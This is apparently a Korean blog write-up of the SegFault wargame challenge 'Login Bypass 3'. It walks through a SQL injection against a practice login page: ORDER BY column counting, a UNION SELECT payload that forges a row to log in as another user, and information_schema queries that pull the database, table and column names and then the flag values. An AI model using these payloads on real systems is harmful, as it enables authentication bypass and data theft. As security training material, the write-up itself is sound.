본문 바로가기

WarGame/SegFault

Login Bypass 3

문제 정보

1. 로그인 통신 로그 확인

주어진 계정으로 로그인했을 때

특이점은 없었다.

2. SQL Injection 동작 확인

항등원 쿼리로 테스트 시

SQL Injection 동작이 확인됐다.

3. 로그인 로직 예상 

식별/인증 동시

select * from member where UserId='doldol' and Password='dol1234'

select * from member where UserId='doldol' #' and Password='dol1234'

주석 쿼리 테스트 시

인증 우회에 실패했다.

하지만 비밀번호를 올바르게 입력하면 로그인이 된다.

이 정보를 통해

1. 식별/인증 동시 개행

2. 식별/인증 분리

두 가지의 가능성을 생각할 수 있다.

3.1. 로그인 로직 예상

식별/인증 동시 개행

select * from member where UserId='doldol' 
and Password='dol1234'

or 쿼리 테스트 시

인증 우회에 실패했다.

select * from member where UserId='doldol' or '1' = '1' 
and Password='dol1234'

3.2. 로그인 로직 예상

식별/인증 분리

select id, pw from users where id='doldol'

if(pw=='dol1234'){
	# 로그인 성공
} else {
	# 로그인 실패
}

3.2.1. order by

해당 테이블은 컬럼이 2개 이므로 order by 3은 에러를 반환한다.

order by 명령어를 통해

컬럼의 개수를 알아보는 sql 쿼리를 작성했다.

order by 쿼리로 주어진 계정을 로그인해 보니

컬럼 3이 존재하지 않아 로그인 반환이 되지 않는 것을 확인할 수 있다.

select id, pw from member where id='doldol' order by 2 #' // 로그인 반환

select id, pw from member where id='doldol' order by 3 #' // 3번 째 컬럼이 없으므로 에러 반환

따라서 해당 로그인 로직의 select 문은

2개의 컬럼을 가져온다는 것을 알 수 있다.

 

이제 union을 사용하여 2개의 컬럼 값에 원하는 값을 반환하도록 할 것이다.

3.2.2. union

union 연산자란?

2개 이상의 select 쿼리 결과를 하나로 합쳐주는 연산자이다.

이전에 order by 문을 이용해 컬럼이 2개인 것을 알아냈으니,

union select 쿼리를 이용하여 id 값에 1 pw 값에 2가 담긴 row를 가져와보았다.

id 입력 창 : doldol' union select 'test', '1111' order by 1 desc #
pw 입력 창 : 1111

백엔드 코드 : select id, pw from member where id='doldol' union select 'test', '1111' order by 1 desc #'

응용으로

id 값이 test이고, pw 값이 1111인 row를 반환하도록 union 쿼리를 작성하고,

 

비밀번호 입력창에 설정한 pw 값인 1111을 넣어 로그인 시도했을 때,

test라는 계정으로 로그인된 모습을 볼 수 있다. 즉, 인젝션에 성공한 것이다.

여기서 주의할 점은 

doldol 사용자와 test 사용자가 둘 다 반환이 되는데 맨 위 row 값의 사용자 정보로 로그인이 된다는 것이다.

때문에 order by를 사용해서 test 사용자가 맨 위 row가 되도록 정렬해 주면

test 사용자로 로그인이 가능하다.

id : doldol' union select 'normaltic3', '1111' order by 1 desc #
pw : 1111

위의 test 사용자 로그인을 토대로

타겟 사용자인 normaltic3에 로그인 시도를 해보니

성공적으로 로그인되며 flag가 출력되는 것을 볼 수 있다.

3.2.3. etc

none' union select 'test','1111' #

doldol이 아닌 DB에 없는 사용자로 로그인을 시도하거나

' union select 'test','1111' #

아예 사용자란을 비워두면

굳이 정렬 기능을 사용하지 않아도

DB에 없는 사용자는 가져와지지 않기 때문에

union 쿼리의 원하는 사용자로 로그인이 가능하다.

3.2.4. DB 명 추출

union 쿼리에서

database() 함수를 사용하면 

DB 이름을 출력할 수 있다.

실제로 문제 페이지에서 테스트 해보니

로그인 사용자의 이름이 DB 명으로 출력되는 것을 확인할 수 있다.

3.2.5. 테이블 명 추출

'union select table_name, '1111' from information_schema.tables 
where table_schema = 'segFault_sqli' #

앞서 얻은 DB명을 토대로

segFault_sqli DB에 있는 Table 들을 추출해 보았다.

해당 쿼리로 로그인해 보니

book_info 라는 테이블 명을 추출할 수 있었다.

아마 많은 테이블명 중에서 맨위에 테이블 이름이 추출된 것 같다.

'union select table_name, '1111' from information_schema.tables 
where table_schema = 'segFault_sqli' limit 1,1#

limit 명령을 사용해서 모든 테이블 값을 확인해 보니

아래와 같이 6개의 테이블을 확인할 수 있었다.

Tables of segFault_sqli
book_info
flag_table
login1
login2
user_info

3.2.6. 컬럼 명 추출

'union select column_name, '1111' from information_schema.columns 
where table_name = 'flag_table' #

'union select column_name, '1111' from information_schema.columns 
where table_name = 'flag_table' limit 2,1#

'union select column_name, '1111' from information_schema.columns 
where table_name = 'user_info' limit 0,1#

앞서 추출했던 테이블 중 flag_table 과 user_info 테이블의 컬럼 값이 궁금하여 추출해 보았다.

flag_table user_info
flag id
stage name
  password
  level
  rank_point
  rate

3.2.7. data 추출

'union select stage, '1111' from flag_table #
'union select flag, '1111' from flag_table #
'union select flag, '1111' from flag_table limit 1,1 #

앞서 얻은 flag_table의 컬럼 명을 토대로 컬럼의 값을 추출해 보았다.

다른 문제들의 flag를 얻을 수 있었다

'WarGame > SegFault' 카테고리의 다른 글

SQL Injection 1  (0) 2024.05.23
Login Bypass 4  (0) 2024.05.22
Secret Login  (1) 2024.05.19
Login Bypass 5  (0) 2024.05.19
Admin is Mine  (0) 2024.05.16